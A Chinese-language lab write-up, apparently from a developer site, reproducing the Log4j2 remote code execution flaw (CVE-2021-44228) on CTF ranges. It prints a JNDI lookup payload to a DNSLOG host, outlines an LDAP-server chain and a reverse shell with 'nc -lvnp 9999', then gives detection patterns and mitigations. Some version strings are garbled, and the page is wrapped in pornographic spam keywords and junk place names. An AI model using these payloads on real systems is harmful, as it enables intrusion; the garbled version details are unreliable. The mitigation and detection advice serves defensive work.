最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Apache?log4j2-RCE?漏洞復(fù)現(xiàn)及修復(fù)建議(CVE-2021-44228)

 更新時(shí)間:2021年12月15日 08:45:25   作者:hacker-裁決者  
Apache?Log4j2是一款Java日志框架,大量應(yīng)用于業(yè)務(wù)系統(tǒng)開發(fā)。2021年11月24日,阿里云安全團(tuán)隊(duì)向Apache官方報(bào)告了Apache?Log4j2遠(yuǎn)程代碼執(zhí)行漏洞(CVE-2021-44228),本文給大家介紹Apache?log4j2-RCE?漏洞復(fù)現(xiàn)(CVE-2021-44228)的相關(guān)知識(shí),感興趣的朋友一起看看吧

Apache log4j2-RCE 漏洞復(fù)現(xiàn)

0x01 漏洞簡(jiǎn)介

Apache Log4j2是一個(gè)基于Java的日志記錄工具。由于Apache Log4j2某些功能存在遞歸解析功能,攻擊者可直接構(gòu)造惡意請(qǐng)求,觸發(fā)遠(yuǎn)程代碼執(zhí)行漏洞。漏洞利用無(wú)需特殊配置,經(jīng)阿里云安全團(tuán)隊(duì)驗(yàn)證,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影響。

漏洞適用版本為2.0 <= Apache log4j2 <= 2.14.1,只需檢測(cè)Java應(yīng)用是否引入 log4j-api , log4j-core 兩個(gè)jar。若存在應(yīng)用使用,極大可能會(huì)受到影響。

0x02 環(huán)境準(zhǔn)備

驗(yàn)證靶場(chǎng):

1.CTFshow (https://ctf.show/challenges#Log4j復(fù)現(xiàn)-1730)

2.VULFOCUS(http://vulfocus.fofa.so/)

3.掌控安全封神臺(tái)(https://hack.zkaq.cn/battle/target?id=5a768e0ca6938ffd)

0x03 漏洞驗(yàn)證(DNSLOG篇)

我們通過(guò)JNDI注入請(qǐng)求DNSLOG的惡意語(yǔ)句,如果在DNSLOG端能查看到訪問(wèn)記錄,則證明遠(yuǎn)程代碼執(zhí)行漏洞存在

我們CTFshow的靶場(chǎng)來(lái)做后續(xù)驗(yàn)證

我們直接在登錄框輸入惡意代碼:

${jndi:ldap://hackerj.c57f9cb5.dns.1433.eu.org/exp}

然后我們成功在DNSLOG端查看到訪問(wèn)記錄,證實(shí)這里漏洞存在

0x04 漏洞驗(yàn)證(遠(yuǎn)程代碼執(zhí)行彈計(jì)算器&記事本篇)

在這里我們需要準(zhǔn)備好一臺(tái)有公網(wǎng)IP的VPS,然后在服務(wù)器端一個(gè)惡意代碼類exploit.class(將惡意代碼類通過(guò)javac編譯得到)、一個(gè)LDAP服務(wù)器log4j.jar(為運(yùn)行方便,將LADPRefServer.java打包成jar包上傳到服務(wù)器)
本地端需要準(zhǔn)備好一個(gè)LDAP客戶端(含log4j2執(zhí)行代碼)

首先我們?cè)诜?wù)器端開啟LDAP服務(wù)端口監(jiān)聽(tīng),我這里設(shè)置的是7912端口

開啟LDAP服務(wù)

然后我們只需要在本地運(yùn)行LDAP客戶端(含log4j2錯(cuò)誤調(diào)用的代碼)

由于我們?cè)趷阂獯a里執(zhí)行的測(cè)試命令是notepad和calc

不出意外的彈出了記事本和計(jì)算器

0x05 漏洞深度利用(反彈shell)

在這里我們需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar來(lái)生成payload

工具地址:

https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools

然后使用如下網(wǎng)址來(lái)加密反彈shell命令

加密網(wǎng)址:

https://www.jackson-t.ca/runtime-exec-payloads.html

反彈shell方法:

https://www.freebuf.com/articles/system/178150.html

我這里綁定的是服務(wù)器的9999端口(別忘了在服務(wù)器安全配置和寶塔安全配置開啟端口)

然后我們就獲得了payload

之后我們?cè)诜?wù)器開啟對(duì)于9999端口的監(jiān)聽(tīng)

nc -lvnp 9999

然后我們?cè)诎袌?chǎng)框輸入我們的惡意payload

點(diǎn)擊提交之后我們發(fā)現(xiàn)反彈shell成功

0x06 影響范圍及排查方法

影響范圍:

使用了log4j的組件并且版本在3.x <= 2.14.1

排查方法:

1.pom版本檢查

2.可以通過(guò)檢查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符來(lái)發(fā)現(xiàn)可能的攻擊行為

3.檢查日志中是否存在相關(guān)的堆棧報(bào)錯(cuò),堆棧里是否有JndiLookup、LdapURLContext、getObjectFactoryFromReference等與jndi調(diào)用相關(guān)的堆棧信息

4.各種安全產(chǎn)品

自查工具:

https://sca.seczone.cn/allScanner.zip

https://static.threatbook.cn/tools/log4j-local-check.sh

需要注意的是并不是所有的使用了log4j2的項(xiàng)目|客戶端都會(huì)受到影響:

0x07 修復(fù)建議

官方方案:
1、將Log4j框架升級(jí)到2.15.0版本:
org/apache/loging/logj/logj-core/5.0
不要用2.15.0-rc1和2.15.0-rc2

2、臨時(shí)方案
1、升級(jí)JDK
2、修改log4j配置
①設(shè)置參數(shù):
log4j2.formatMsgNoLookups=True
②修改jvm參數(shù):
-Dlog4j2.formatMsgNoLookups=true
③系統(tǒng)環(huán)境變量:
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS設(shè)置為true
④禁止log4j2所在的服務(wù)器外連
3、使用安全產(chǎn)品防護(hù):WAF、RASP

0x08 涉及資源

https://www.icode9.com/content-4-1255614.html

https://github.com/welk1n/JNDI-Injection-Exploit

https://ylcao.top/2021/12/apache-log4j2-rce%E5%A4%8D%E7%8E%B0/

https://www.jackson-t.ca/runtime-exec-payloads.html

https://chowdera.com/2021/12/202112102325553772.html

https://github.com/bkfish/Apache-Log4j-Learning

https://www.freebuf.com/articles/system/178150.html

https://github.com/fengxuangit/log4j_vuln

http://vulfocus.fofa.so/#/dashboard

到此這篇關(guān)于Apache?log4j2-RCE?漏洞復(fù)現(xiàn)(CVE-2021-44228)的文章就介紹到這了,更多相關(guān)Apache?log4j2-RCE?漏洞內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • java基礎(chǔ)之泛型知識(shí)點(diǎn)總結(jié)

    java基礎(chǔ)之泛型知識(shí)點(diǎn)總結(jié)

    這篇文章主要介紹了java基礎(chǔ)之泛型知識(shí)點(diǎn)總結(jié),文中有非常詳細(xì)的代碼示例,對(duì)正在學(xué)習(xí)java基礎(chǔ)的小伙伴們有很好的幫助,需要的朋友可以參考下
    2021-04-04
  • Java連接redis及基本操作示例

    Java連接redis及基本操作示例

    這篇文章主要介紹了Java連接redis及基本操作,結(jié)合實(shí)例形式較為詳細(xì)的分析了java針對(duì)redis數(shù)據(jù)庫(kù)的基本連接、配置及操作相關(guān)實(shí)現(xiàn)技巧,需要的朋友可以參考下
    2019-04-04
  • Java實(shí)現(xiàn)的zip壓縮及解壓縮工具類示例

    Java實(shí)現(xiàn)的zip壓縮及解壓縮工具類示例

    這篇文章主要介紹了Java實(shí)現(xiàn)的zip壓縮及解壓縮工具類,結(jié)合實(shí)例形式分析了java對(duì)文件的進(jìn)行zip壓縮及解壓縮的具體操作技巧,需要的朋友可以參考下
    2018-01-01
  • Maven中pom.xml文件報(bào)錯(cuò)的原因解決

    Maven中pom.xml文件報(bào)錯(cuò)的原因解決

    創(chuàng)建Maven項(xiàng)目的時(shí)候,如果你選擇的Packaging為war,那么就會(huì)報(bào)錯(cuò),本文主要介紹了Maven中pom.xml文件報(bào)錯(cuò)的原因解決,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2023-07-07
  • Java中正則表達(dá)式split()特殊符號(hào)使用詳解

    Java中正則表達(dá)式split()特殊符號(hào)使用詳解

    這篇文章主要介紹了Java中正則表達(dá)式split()特殊符號(hào)使用詳解, 文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來(lái)一起學(xué)習(xí)學(xué)習(xí)吧
    2020-07-07
  • java跳出循環(huán)的方式匯總

    java跳出循環(huán)的方式匯總

    本文介紹了Java中三種常用的跳出循環(huán)的語(yǔ)句:break、continue和return,break用于完全結(jié)束循環(huán)并跳出循環(huán)體;continue用于跳過(guò)本次循環(huán)體中尚未執(zhí)行的語(yǔ)句,開始下一次循環(huán);return用于結(jié)束方法,每種方法給大家介紹的非常詳細(xì),感興趣的朋友一起看看吧
    2025-02-02
  • 基于Java寫minio客戶端實(shí)現(xiàn)上傳下載文件

    基于Java寫minio客戶端實(shí)現(xiàn)上傳下載文件

    這篇文章主要介紹了基于Java寫minio客戶端實(shí)現(xiàn)上傳下載文件,文中通過(guò)示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2020-05-05
  • 使用React和Java實(shí)現(xiàn)文本摘要小工具

    使用React和Java實(shí)現(xiàn)文本摘要小工具

    本文將詳細(xì)介紹如何使用 React 和 Java 搭建一個(gè)小型文本摘要工具,并基于 Hugging Face 提供的 API 來(lái)實(shí)現(xiàn)智能摘要功能,感興趣的可以了解下
    2024-11-11
  • Java循環(huán)終止的實(shí)現(xiàn)方式總結(jié)

    Java循環(huán)終止的實(shí)現(xiàn)方式總結(jié)

    循環(huán)是一種重復(fù)執(zhí)行一段代碼的結(jié)構(gòu),Java提供了四種主要的循環(huán)結(jié)構(gòu),本文主要來(lái)和大家介紹一下Java循環(huán)終止的實(shí)現(xiàn)方式,有需要的小伙伴可以參考一下
    2023-10-10
  • 解決spring-integration-mqtt頻繁報(bào)Lost connection錯(cuò)誤問(wèn)題

    解決spring-integration-mqtt頻繁報(bào)Lost connection錯(cuò)誤問(wèn)題

    這篇文章主要介紹了解決spring-integration-mqtt頻繁報(bào)Lost connection錯(cuò)誤問(wèn)題,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2023-03-03

最新評(píng)論

海阳市| 芦山县| 卢龙县| 报价| 凌云县| 土默特右旗| 烟台市| 双鸭山市| 大英县| 平凉市| 长兴县| 尼木县| 大埔区| 丹阳市| 盈江县| 怀来县| 娱乐| 清河县| 宁安市| 集贤县| 河间市| 乐都县| 察隅县| 米泉市| 宜丰县| 诏安县| 平度市| 泰安市| 朝阳市| 陇川县| 宁国市| 泾川县| 高陵县| 鞍山市| 鹤山市| 定南县| 布尔津县| 镇康县| 济南市| 弥勒县| 通河县|